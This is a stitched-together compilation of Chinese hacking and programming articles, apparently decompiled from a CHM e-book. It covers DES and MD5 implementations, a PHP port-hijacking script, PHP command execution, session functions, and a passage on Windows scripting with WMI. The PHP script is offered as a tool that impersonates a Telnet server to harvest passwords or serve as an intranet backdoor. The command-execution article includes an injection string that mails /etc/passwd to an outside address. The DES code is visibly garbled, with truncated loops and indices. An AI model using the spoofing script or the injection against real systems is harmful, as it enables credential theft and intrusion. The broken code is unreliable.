void CDES::Generate_S(void){

int i;
int j,m,n;
m=n=0;
j=1;

for(i=0;i
        dwlData_S[j][m][n]=OS;
n=(n+1)%16;
if(!n){
m=(m+1)%4;
if(!m)
j++;
}
}
}

unsigned char *
        CDES::EncryptData(unsigned char *block){

unsigned char
        *EncrytedData=new unsigned char(15);

printf("\nOriginal
        Data: %s\n",block);
m_dwlData=ProcessByte(block,0);
//PrintBit(m_dwlData);
m_dwlData=PermuteTable(m_dwlData,dwlData_IP,64);
EncryptKernel();
//PrintBit(m_dwlData);
DWORDLONG
        bit6=m_dwlData;
for(int i=0;i EncrytedData[7-i]=(unsigned
        char)(bit6&0x3f)+46;
bit6>>=6;
}
EncrytedData[11]='\0';
printf("\nAfter Encrypted:
        %s",EncrytedData);

for(i=0;i EncrytedData[7-i]=(unsigned
        char)(m_dwlData&0xff);
m_dwlData>>=8;
}
EncrytedData[8]='\0';

return EncrytedData;
}

void CDES::EncryptKernel(void){

int
        i=1;

DWORDLONG L[17],R[17],B[9],EK,PSB;
L[0]=m_dwlData>>32;
R[0]=m_dwlData&0xffffffff;

for(i=1;i L=R[i-1];
R[i-1]=PermuteTable(R[i-1],dwlData_Expansion,48);//Expansion R
EK=R[i-1]^m_dwl_K;//E Permutation
PSB=Generate_B(EK,B);//P
        Permutation
R=L[i-1]^PSB;
}

R[16]
        m_dwlData=R[16]│L[16];
m_dwlData=PermuteTable(m_dwlData,dwlData_FP,64);
}

unsigned char* CDES::DescryptData(unsigned char *desData){

int i=1;
unsigned char *DescryptedData=new unsigned
        char(15);
DWORDLONG L[17],R[17],B[9],EK,PSB;
DWORDLONG dataPara;

dataPara=ProcessByte(desData,0);
dataPara=PermuteTable(dataPara,dwlData_IP,64);

R[16]=dataPara>>32;
L[16]=dataPara&0xffffffff;

for(i=16;i>=1;i--){
R[i-1]=L;
L=PermuteTable(L,dwlData_Expansion,48);//Expansion L
EK=L^m_dwl_K;//E Permutation
PSB=Generate_B(EK,B);//P
        Permutation
L[i-1]=R^PSB;
}

L[0]
        dataPara=L[0]│R[0];
dataPara=PermuteTable(dataPara,dwlData_FP,64);

//PrintBit(dataPara);

for(i=0;i
        DescryptedData[7-i]=(unsigned char)(dataPara&0xff);
dataPara>>=8;
}
DescryptedData[8]='\0';
printf("\nAfter Decrypted: %s\n",DescryptedData);

return DescryptedData;
}

DWORDLONG
        CDES::Generate_B(DWORDLONG EKPara,DWORDLONG *block){

int
        i,m,n;
DWORDLONG tmp=0;

for(i=8;i>0;i--){
block=EKPara&0x3f;
m=(int)(block&0x20)>>4;
m│=block&0x01;
n=(int)(block >2;
block=dwlData_S[m][n];
EKPara>>=6;
}

for(i=1;i tmp│=block;
tmp }
tmp>>=4;
tmp=PermuteTable(tmp,dwlData_P,32);

return tmp;
}

void main(void){

CDES des;
des.EncryptKey("12345678");
unsigned char
        *result=des.EncryptData((unsigned char*)"DemoData");
des.DescryptData(result);
}

This file is decompiled by an unregistered
        version of ChmDecompiler.
Regsitered version does not show this
        message.
You can download ChmDecompiler at : http://www.zipghost.com/


MD5算法研究

    第一轮
FF(b,c,d,a,M3,22,0xc1bdceee)
      FF(a,b,c,d,M4,7,0xf57c0faf)
      FF(d,a,b,c,M5,12,0x4787c62a)
      FF(c,d,a,b,M6,17,0xa8304613)
      FF(b,c,d,a,M7,22,0xfd469501)
      FF(a,b,c,d,M8,7,0x698098d8)
      FF(d,a,b,c,M9,12,0x8b44f7af)
      FF(c,d,a,b,M10,17,0xffff5bb1)
      FF(b,c,d,a,M11,22,0x895cd7be)
      FF(a,b,c,d,M12,7,0x6b901122)
      FF(d,a,b,c,M13,12,0xfd987193)
      FF(c,d,a,b,M14,17,0xa679438e)
      FF(b,c,d,a,M15,22,0x49b40821)
    第二轮
      GG(a,b,c,d,M1,5,0xf61e2562)
      GG(d,a,b,c,M6,9,0xc040b340)
      GG(c,d,a,b,M11,14,0x265e5a51)
      GG(b,c,d,a,M0,20,0xe9b6c7aa)
      GG(a,b,c,d,M5,5,0xd62f105d)
      GG(d,a,b,c,M10,9,0x02441453)
      GG(c,d,a,b,M15,14,0xd8a1e681)
      GG(b,c,d,a,M4,20,0xe7d3fbc8)
      GG(a,b,c,d,M9,5,0x21e1cde6)
      GG(d,a,b,c,M14,9,0xc33707d6)
      GG(c,d,a,b,M3,14,0xf4d50d87)
      GG(b,c,d,a,M8,20,0x455a14ed)
      GG(a,b,c,d,M13,5,0xa9e3e905)
      GG(d,a,b,c,M2,9,0xfcefa3f8)
      GG(c,d,a,b,M7,14,0x676f02d9)
      GG(b,c,d,a,M12,20,0x8d2a4c8a)
    第三轮
      HH(a,b,c,d,M5,4,0xfffa3942)
      HH(d,a,b,c,M8,11,0x8771f681)
      HH(c,d,a,b,M11,16,0x6d9d6122)
      HH(b,c,d,a,M14,23,0xfde5380c)
      HH(a,b,c,d,M1,4,0xa4beea44)
      HH(d,a,b,c,M4,11,0x4bdecfa9)
      HH(c,d,a,b,M7,16,0xf6bb4b60)
      HH(b,c,d,a,M10,23,0xbebfbc70)
      HH(a,b,c,d,M13,4,0x289b7ec6)
      HH(d,a,b,c,M0,11,0xeaa127fa)
      HH(c,d,a,b,M3,16,0xd4ef3085)
      HH(b,c,d,a,M6,23,0x04881d05)
      HH(a,b,c,d,M9,4,0xd9d4d039)
      HH(d,a,b,c,M12,11,0xe6db99e5)
      HH(c,d,a,b,M15,16,0x1fa27cf8)
      HH(b,c,d,a,M2,23,0xc4ac5665)
    第四轮
      II(a,b,c,d,M0,6,0xf4292244)
      II(d,a,b,c,M7,10,0x432aff97)
      II(c,d,a,b,M14,15,0xab9423a7)
      II(b,c,d,a,M5,21,0xfc93a039)
      II(a,b,c,d,M12,6,0x655b59c3)
      II(d,a,b,c,M3,10,0x8f0ccc92)
      II(c,d,a,b,M10,15,0xffeff47d)
      II(b,c,d,a,M1,21,0x85845dd1)
      II(a,b,c,d,M8,6,0x6fa87e4f)
      II(d,a,b,c,M15,10,0xfe2ce6e0)
      II(c,d,a,b,M6,15,0xa3014314)
      II(b,c,d,a,M13,21,0x4e0811a1)
      II(a,b,c,d,M4,6,0xf7537e82)
      II(d,a,b,c,M11,10,0xbd3af235)
      II(c,d,a,b,M2,15,0x2ad7d2bb)
      II(b,c,d,a,M9,21,0xeb86d391)
    常数ti可以如下选择：
    在第i步中，ti是4294967296*abs(sin(i))的整数部分，i的单位是弧度。(4294967296等于2的32次方)
所有这些完成之后，将A、B、C、D分别加上a、b、c、d。然后用下一分组数据继续运行算法，最后的输出是A、B、C和D的级联。
    当你按照我上面所说的方法实现MD5算法以后，你可以用以下几个信息对你做出来的程序作一个简单的测试，看看程序有没有错误。
      MD5 ("") = d41d8cd98f00b204e9800998ecf8427e
      MD5 ("a") = 0cc175b9c0f1b6a831c399e269772661
      MD5 ("abc") = 900150983cd24fb0d6963f7d28e17f72
      MD5 ("message digest") = f96b697d7cb7938d525a2f31aaf161d0
      MD5 ("abcdefghijklmnopqrstuvwxyz") = c3fcd3d76192e4007dfb496cca67e13b
      MD5 ("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") =
d174ab98d277d9f5a5611c2c9f419d9f
      MD5 ("123456789012345678901234567890123456789012345678901234567890123456789
01234567890") = 57edf4a22be3c955ac49da2e2107b67a
    如果你用上面的信息分别对你做的MD5算法实例做测试，最后得出的结论和标准答案完全一样，那我就要在这里象你道一声祝贺了。要知道，我的程序在第一次编译成功的时候是没有得出和上面相同的结果的。

    MD5的安全性
    MD5相对MD4所作的改进：
      1. 增加了第四轮；
      2. 每一步均有唯一的加法常数；
      3. 为减弱第二轮中函数G的对称性从(X&Y)|(X&Z)|(Y&Z)变为(X&Z)|(Y&(~Z))；
      4. 第一步加上了上一步的结果，这将引起更快的雪崩效应；
      5. 改变了第二轮和第三轮中访问消息子分组的次序，使其更不相似；
      6. 近似优化了每一轮中的循环左移位移量以实现更快的雪崩效应。各轮的位移量互不相同。


PHP下实现端口复用/劫持

文章作者：Darkness
信息来源：www.bugkidz.org
经常看到有朋友问端口复用，我花了一个晚上写了一点代码
本来想做成嗅叹转发的，无奈单线程的东西很局限，而且始终只能得到头行数据。我想要做成那样的，对于高手来说，不是困难的事。
如果你不懂如何配置，请参照我以前的文章《PHP-SOCKETS初步接触》。WIN下只要有GUEST权限即可用，而且通过配合
〈WINDOWS下装多个PHP〉 这篇文章，GUEST可以单独安装支持PHPSOCKETS的PHP。
假如监听127.0.0.1 ,访问共网IP不受影响，假如监听公网IP，127。0。0。1等IP不受影响。
这个可以用于欺骗用户密码，因为原来的服务不可用了。或者留成针对内网用户的后门。
最后欢迎加MSN：CQXY[AT]21CN。NET赐教。
#!/usr/bin/php -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
<?php
if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21\r\n";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);
set_time_limit(0);
ob_implicit_flush();
$host = $argv[1];
$port = $argv[2];
if
        (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0)
        {
echo "socket_create() failed: reason: " .
        socket_strerror($sock) . "\n";
}
        /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1);
        /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
if (($ret =
        socket_bind($sock, $host, $port)) < 0) {
echo
        "socket_bind() failed: reason: " . socket_strerror($ret) .
        "\n";
}/*绑定端口*/
if (($ret = socket_listen($sock, 5)) < 0)
        {
echo "socket_listen() failed: reason: " .
        socket_strerror($ret) . "\n";
} /*开始监听*/

while(true) {
  if (($sniffer = socket_accept($sock))
        < 0) {
echo "socket_accept() failed: reason: "
        . socket_strerror($sniffer) . "\n";
break;
}
if ($port == 23)
{
$txt =
        "Welcome to the Telnet Server\r\n";
$txt
        .="User:\r\n";
socket_write($sniffer,
        $txt, strlen($txt));
}
        /*这里是伪装信息，把自己伪装成原来的TELNET服务器，这样来骗取密码*/
  while(true) {

if(($buf
        _read($sniffer">=@socket_read($sniffer, 2048, PHP_BINARY_READ))
        ==false)
{

break;

}

if (!$buf =
        trim($buf)) {
continue;
}
    if ($buf == '!quit')
        {
break;
}
if ($buf == '!shutdown')
        {
socket_close($sniffer);
break
        2;
        /*其实这里可以调用system()，搞成一个CMD后门，反正你想怎么改都可以*/
}

$sniff_data =
        "$buf\r\n";

/* else
        socket_write($sniffer, $sniff_data,
        strlen($sniff_data));*/
echo
        $sniff_data;
/*输出字符串,这里可以加进文件处理,保存密码什么的*/
}
socket_close($sniffer);

}
socket_close($resock);
socket_close($sock);
?>


在PHP中执行系统外部命令

文章作者：Fluke 中文PHP论坛
    PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现某个功能，必须借助于操作系统的外部程序（或者称之为命令），这样可以做到事半功倍。
    那么，是否可以在PHP脚本中调用外部命令呢？如果能，如何去做呢？有些什么方面的顾虑呢？相信你看了本文后，肯定能够回答这些问题了。
    是否可以？
    答案是肯定的。PHP和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。
    前提条件
    由于PHP基本是用于WEB程序开发的，所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门：安全模式。如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制：
    执行外部命令
    在打开文件时有些限制
    连接MySQL数据库
    基于HTTP的认证
    在安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是/usr/local/php/bin。
    如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。
    如何做？
    在PHP中调用外部命令，可以用如下三种方法来实现：
    1） 用PHP提供的专门函数
    PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。
    system()
    原型：string system (string command [, int return_var])
    system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
    例子：
    <?
    system("/usr/local/bin/webalizer/webalizer");
    ?>
    exec()
    原型：string exec (string command [, string array [, int return_var]])
    exec()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二个参数时，才可以用第三个参数，用来取得命令执行的状态码。
    例子：
    <?
    exec("/bin/ls -l");
    exec("/bin/ls -l", $res);
    #$res是一个数据，每个元素代表结果的一行
    exec("/bin/ls -l", $res, $rc);
    #$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0
    ?>
    passthru()
    原型：void passthru (string command [, int return_var])
    passthru()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
    例子：
    <?
    header("Content-type: image/gif");
    passthru("./ppmtogif hunte.ppm");
    ?>
    2） 用popen()函数打开进程
    上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
    popen()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭它。
    例子1：
    <?
    $fp=popen("/bin/ls -l", "r");
    ?>
    例子2（本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51）：
    <?
    /* PHP中如何增加一个系统用户
    下面是一段例程，增加一个名字为james的用户,
    root密码是 verygood。仅供参考
    */
    $sucommand = "su --login root --command";
    $useradd = "useradd ";
    $rootpasswd = "verygood";
    $user = "james";
    $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
    $fp = @popen($user_add,"w");
    @fputs($fp,$rootpasswd);
    @pclose($fp);
    ?>
    3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）
    这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：
    <?
    $res=`/bin/ls -l`;
    echo '<b><pre>'.$res.'</pre></b>';
    ?>
    这个脚本的输出就象：
    hunte.gif
    hunte.ppm
    jpg.htm
    jpg.jpg
    passthru.php
    要考虑些什么？
    要考虑两个问题：安全性和超时。
    先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样：
    <?
    system("mail $to < products.txt");
    echo "我们的产品目录已经发送到你的信箱：$to";
    ?>
    用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：
    '--bla ; mail someone@domain.com < /etc/passwd ;'
    那么这条命令最终变成：
    'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
    我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
    幸好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入（<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串就可以安全地作为命令的参数。
    再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中，如：
    <?
    system("/usr/local/bin/order_proc > /tmp/null &");
    ?>


关于session的几个补充函数

信息来源：www.phpe.net
在PHP下，关于session的讨论很多，其实在PHP4中还有几个函数是我们平时没有注意到的。
下面我把它们介绍给大家吧。
其中的session_set_save_handler()可真是个好东西。
//********************
session_unset (PHP4 >= 4.0b4)
void session_unset(void);
这个函数可以把当然注册的所有的session变量置为空。注意它不是unregister，也不同于destroy。
下面这个例子，对此函数做了很好的说明。
<?php
session_register('a','b','c');
        //auto-session-start
$a=1;
$b=2;
$c=3;
session_unregister('a'); //unregistrered $a
echo "A: $a -
        reg:".session_is_registered('a')."
"; // but the global $a remains
session_unset(); // unsets $b und $c
echo "B:$b -
        reg:".session_is_registered('b')."
"; // the registration remains !
echo "C:$c - reg:".session_is_registered('c')."
";
echo
        session_encode();
?>
输出：
A: 1 - reg:
B: - reg:1
C: - reg:1
!b|!c|
//********************************
session_get_cookie_params (PHP4 >= 4.0RC2)
array session_get_cookie_params (void);
返回一个数组，记录了当前session的cookie的一些信息。
有：
"lifetime" - cookie的生存期。
"path" - cookie的保存路径。
"domain" - cookie的域。
//*******************************
session_set_cookie_params (PHP4 >= 4.0b4)
void session_set_cookie_params (int lifetime [, string path [, string domain]])
设置session的cookie的一些参参数，类似于php.ini中的设置，但本函数所作的设置，只对当前脚本文件有效。

//*******************************
下面要介绍的这个函数应是对大家都很有用的，你是不是对自定义一个不用cookie来保存的session有兴趣呢？这个函数就可以实现你这样的设想。
让我想想，如果不用cookie的好处是什么？至少一点，你不用担心客户端的的cookie的功能是否打开了，对吧。

session_set_save_handler (PHP4 >= 4.0b4)
void session_set_save_handler (string open, string close, string read, string write, string destroy, string gc)
这个函数可以定义用户级的session的保存函数（打开、关闭、写入等）。
比如，我们想把session保存在本地的一个数据库中时，本函数就很有用了。
！！！注意：使用本函数前，先要配置php.ini文件，session.save_hadler=user ，否则，session_set_save_handler()不会生效。
此外，根据我的测试，你如果想让这样的session跨页面使用，还要在每一个用到session的脚本文件中加入你自定的函数及session_set_save_handler，所以，最好的方法是做成一个单独的文件，在每一个要用到session的脚本中用include来包含进来。
下面这个例子提供了一个最基本的session保存法，类似于默认的files方法。
如果你想用数据库来实现，这也是很容易做到的。
Example 1. session_set_save_handler() example
<?php
function open ($save_path, $session_name) {
global $sess_save_path, $sess_session_name;
$sess_save_path = $save_path;
$sess_session_name = $session_name;
return(true);
}
function close() {
return(true);
}
function read ($id) {
global $sess_save_path, $sess_session_name;
$sess_file = "$sess_save_path/sess_$id";
if
        ($fp = @fopen($sess_file, "r")) {
$sess_data = fread($fp,
        filesize($sess_file));
return($sess_data);
} else {
return("");
}
}
function write ($id, $sess_data) {
global $sess_save_path, $sess_session_name;
$sess_file = "$sess_save_path/sess_$id";
if
        ($fp = @fopen($sess_file, "w")) {
return(fwrite($fp, $sess_data));
} else {
return(false);
}
}
function destroy ($id) {
global $sess_save_path, $sess_session_name;
$sess_file = "$sess_save_path/sess_$id";
return(@unlink($sess_file));
}
/*********************************************
* WARNING - You will need to implement some *
* sort of garbage collection routine here. *
*********************************************/
function gc ($maxlifetime) {
return true;
}
session_set_save_handler ("open", "close", "read", "write", "destroy", "gc");
session_start();
//　proceed to use sessions normally
//　现在你就可以象往常一样地使用session了。

?>

//***************************************
session_cache_limiter (PHP4 CVS only)
string session_cache_limiter ([string cache_limiter])
本函数可以设置或取得session.cache_limiter的值。
在php.ini中也可以做同样的设置。其值有 nocache,public,private。
本函数是通过HTTP的header发送到客户端的。如果为nocache，将禁止任何客户端的cache。而public将允许cache，但是private相对public而言，更为安全一点。
缺省值是在php.ini中的设置，如果你要使用它，必须在每次调用session_start()之前调用本函数。
此函数现在只能在CVS模式下运行，但是PHP4.0.3将支持它。

Example 1. session_cache_limiter() examples
<?php
# set the cache limiter to 'private'
session_cache_limiter('private);
$cache_limiter = session_cache_limiter();
echo "The cache limiter is now set to $cache_limiter<p>";
?>


深入挖掘Windows脚本技术

文章作者：zzzEVAzzz <zzzevazzz@126.com>
为使文中涉及的代码整洁，将使用论坛的PHP标签处理。（没有VBS标签，code标签不好用，郁闷）
如果转载本文，请注意做相应调整。
【目录】
1，前言
2，回顾WSH对象
3，WMI服务
4，脚本也有GUI
5，反查杀
6，来做个后门
7，结语
8，参考资料

【前言】
本文讲述一些Windows脚本编程的知识和技巧。这里的Windows脚本是指"Windows Script Host"(WSH Windows脚本宿主)，而不是HTML或ASP中的脚本。前者由Wscript或Cscript解释，后两者分别由IE和IIS负责解释。描述的语言是VBScript。本文假设读者有一定的Windows脚本编程的基础。如果你对此还不了解，请先学习《Windows脚本技术》[1]。

【回顾WSH对象】
得益于com技术的支持，WSH能提供比批处理(.bat)更强大的功能。说白了，wsh不过是调用现成的“控件”作为一个对象，用对象的属性和方法实现目的。
常用的对象有：
WScript
Windows脚本宿主对象模型的根对象，要使用WSH自然离不开它。它提供多个子对象，比如WScript.Arguments和WScript.Shell。前者提供对整个命令行参数集的访问，后者可以运行程序、操纵注册表内容、创建快捷方式或访问系统文件夹。
Scripting.FileSystemObject
主要为IIS设计的对象，访问文件系统。这个恐怕是大家遇到最多的对象了，因为几乎所有的Windows脚本病毒都要通过它复制自己感染别人。
ADODB.Stream
ActiveX Data Objects数据库的子对象，提供流方式访问文件的功能。这虽然属于数据库的一部分，但感谢微软，ADO是系统自带的。
Microsoft.XMLHTTP
为支持XML而设计的对象，通过http协议访问网络。常用于跨站脚本执行漏洞和SQL injection。
还有很多不常见的：
活动目录服务接口(ADSI)相关对象 —— 功能涉及范围很广，主要用于Windows域管理。
InternetExplorer对象 —— 做IE能做的各种事。
Word，Excel，Outlook对象 —— 用来处理word文档，excel表单和邮件。
WBEM对象 —— WBEM即Web-Based Enterprise Management。它为管理Windows提供强大的功能支持。下一节提到的WMI服务提供该对象的接口。
很显然，WSH可以利用的对象远远不止这些。本文挂一漏万，谈一些较实用的对象及其用法。
先看一个支持断点续传下载web资源的例子，它用到了上面说的4个常用对象。
Codz:
if (lcase(right(wscript.fullname,11))="wscript.exe") then '判断脚本宿主的名称'
die("Script host must be CScript.exe.") '脚本宿主不是CScript，于是就die了'
end if
if wscript.arguments.count<1 then '至少要有一个参数'
die("Usage: cscript webdl.vbs url [filename]") '麻雀虽小五脏俱全，Usage不能忘'
end if
url=wscript.arguments(0) '参数数组下标从0开始'
if url="" then die("URL can't be null.") '敢唬我，空url可不行'
if wscript.arguments.count>1 then '先判断参数个数是否大于1'
filename=wscript.arguments(1) '再访问第二个参数'
else '如果没有给出文件名，就从url中获得'
t=instrrev(url,"/") '获得最后一个"/"的位置'
if t=0 or t=len(url) then die("Can not get filename to save.") '没有"/"或以"/"结尾'
filename=right(url,len(url)-t) '获得要保存的文件名'
end if
if not left(url,7)="http://" then url="http://"&url '如果粗心把“http://”忘了，加上'
set fso=wscript.createobject("Scripting.FileSystemObject") 'FSO，ASO，HTTP三个对象一个都不能少'
set aso=wscript.createobject("ADODB.Stream")
set http=wscript.createobject("Microsoft.XMLHTTP")
if fso.fileexists(filename) then '判断要下载的文件是否已经存在'
start=fso.getfile(filename).size '存在，以当前文件大小作为开始位置'
else
start=0 '不存在，一切从零开始'
fso.createtextfile(filename).close '新建文件'
end if
wscript.stdout.write "Connectting..." '好戏刚刚开始'
current=start '当前位置即开始位置'
do
http.open "GET",url,true '这里用异步方式调用HTTP'
http.setrequestheader "Range","bytes="&start&"-"&cstr(start+20480) '断点续传的奥秘就在这里'
http.setrequestheader "Content-Type:","application/octet-stream"
http.send '构造完数据包就开始发送'
for i=1 to 120 '循环等待'
if http.readystate=3 then showplan() '状态3表示开始接收数据，显示进度'
if http.readystate=4 then exit for '状态4表示数据接受完成'
wscript.sleep 500 '等待500ms'
next
if not http.readystate=4 then die("Timeout.") '1分钟还没下完20k？超时！'
if http.status>299 then die("Error: "&http.status&" "&http.statustext) '不是吧，又出错？'
if not http.status=206 then die("Server Not Support Partial Content.") '服务器不支持断点续传'
aso.type=1 '数据流类型设为字节'
aso.open
aso.loadfromfile filename '打开文件'
aso.position=start '设置文件指针初始位置'
aso.write http.responsebody '写入数据'
aso.savetofile filename,2 '覆盖保存'
aso.close
range=http.getresponseheader("Content-Range") '获得http头中的"Content-Range"'
if range="" then die("Can not get range.") '没有它就不知道下载完了没有'
temp=mid(range,instr(range,"-")+1) 'Content-Range是类似123-456/789的样子'
current=clng(left(temp,instr(temp,"/")-1)) '123是开始位置，456是结束位置'
total=clng(mid(temp,instr(temp,"/")+1)) '789是文件总字节数'
if total-current=1 then exit do '结束位置比总大小少1就表示传输完成了'
start=start+20480 '否则再下载20k'
loop while true
wscript.echo chr(13)&"Download ("&total&") Done." '下载完了，显示总字节数'
function die(msg) '函数名来自Perl内置函数die'
wscript.echo msg '交代遗言^_^'
wscript.quit '去见马克思了'
end function
function
        showplan()
        '显示下载进度'
if i mod 3 = 0 then
        c="/"
        '简单的动态效果'
if i mod 3 = 1 then c="-"
if i mod 3 = 2 then c="\"
wscript.stdout.write chr(13)&"Download ("¤t&")
        "&c&chr(8)'13号ASCII码是回到行首，8号是退格'
end function
可以看到，http控件的功能是很强大的。通过对http头的操作，很容易就实现断点续传。例子中只是单线程的，事实上由于http控件支持异步调用和事件，也可以实现多线程下载。在MSDN里有详细的用法。至于断点续传的详细资料，请看RFC2616。
FSO和ASO都可以访问文件，他们有什么区别呢？其实，ASO除了在访问字节（非文本）数据有用外，就没有存在的必要了。如果想把例子中的ASO用FSO来实现，那么写入http.responsebody的时候会出错。反之也不行，ASO无法判断文件是否存在。如果文件不存在，loadfromfile就直接出错，没有改正的机会。当然，可以用on error resume next语句让脚本宿主忽略非致命错误，自己捕捉并处理。但有现成的fileexists()为什么不用呢？
另外，由于FSO经常被脚本病毒和ASP木马利用，所以管理员可能会在注册表中修改该控件的信息，使脚本无法创建FSO。其实执行一个命令regsvr32 /s scrrun.dll就恢复了。即使scrrun.dll被删除，自己复制一个过去就行。
热身完之后，下面我们来看一个功能强大的对象——WBEM（由WMI提供）。

【WMI服务】
先看看MSDN里是怎么描述WMI的——Windows 管理规范 (WMI) 是可伸缩的系统管理结构，它采用一个统一的、基于标准的、可扩展的面向对象接口。我在刚开始理解WMI的时候，总以为WMI是"Windows管理接口"(Interface)，呵呵。
再看什么是WMI服务——提供共同的界面和对象模式以便访问有关操作系统、设备、应用程序和服务的管理信息。如果此服务被终止，多数基于Windows的软件将无法正常运行。如果此服务被禁用，任何依赖它的服务将无法启动。
看上去似乎是个很重要的服务。不过，默认情况下并没有服务依赖它，反而是它要依赖RPC和EventLog服务。但它又是时常用到的。我把WMI服务设置为手动启动并停止，使用电脑一段时间，发现WMI服务又启动了。被需要就启动，这是服务设置为“手动”的特点。当我知道WMI提供的管理信息有多庞大后，对WMI服务的自启动就不感到奇怪了。
想直观了解WMI的复杂，可以使用WMITools.exe[2]这个工具。这是一个工具集。使用其中的WMI Object Browser可以看到很多WMI提供的对象，其复杂程度不亚于注册表。更重要的是，WMI还提供动态信息，比如当前进程、服务、用户等。
WMI的逻辑结构是这样的：
首先是WMI使用者，比如脚本（确切的说是脚本宿主）和其他用到WMI接口的应用程序。由WMI使用者访问CIM对象管理器WinMgmt（即WMI服务），后者再访问CIM(公共信息模型Common Information Model)储存库。静态或动态的信息（对象的属性）就保存在CIM库中，同时还存有对象的方法。一些操作，比如启动一个服务，通过执行对象的方法实现。这实际上是通过COM技术调用了各种dll。最后由dll中封装的API完成请求。
WMI是事件驱动的，操作系统、服务、应用程序、设备驱动程序等都可作为事件源，通过COM接口生成事件通知。WinMgmt捕捉到事件，然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖EventLog的原因。
说完概念，我们来看看具体如何操作WMI接口。
下面这个例子的代码来自我写的脚本RTCS。它是远程配置telnet服务的脚本。
这里只列出关键的部分：
首先是创建对象并连接服务器：
Codz:
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root\default",username,password)
第一句创建一个服务定位对象，然后第二句用该对象的connectserver方法连接服务器。
除了IP地址、用户名、密码外，还有一个名字空间参数root\default。
就像注册表有根键一样，CIM库也是分类的。用面向对象的术语来描述就叫做“名字空间”(Name Space)。
由于RTCS要处理NTLM认证方式和telnet服务端口，所以需要访问注册表。而操作注册表的对象在root\default。
Codz:
set objinstance=objswbemservices.get("stdregprov") '实例化stdregprov对象'
set objmethod=objinstance.methods_("SetDWORDvalue") 'SetDWORDvalue方法本身也是对象'
set objinparam=objmethod.inparameters.spawninstance_() '实例化输入参数对象'
objinparam.hdefkey=&h80000002 '根目录是HKLM，代码80000002(16进制)'
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer.0" '设置子键'
objinparam.svaluename="NTLM" '设置键值名'
objinparam.uvalue=ntlm '设置键值内容，ntlm是变量，由用户输入参数决定'
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) '执行方法'
然后设置端口
Codz:
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port 'port也是由用户输入的参数'
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
看到这里你是不是觉得有些头大了呢？又是名字空间，又是类的实例化。我在刚开始学习WMI的时候也觉得很不习惯。记得我的初中老师说过，读书要先把书读厚，再把书读薄。读厚是因为加入了自己的想法，读薄是因为把握要领了。
我们现在就把书读薄。上面的代码可以改为：
Codz:
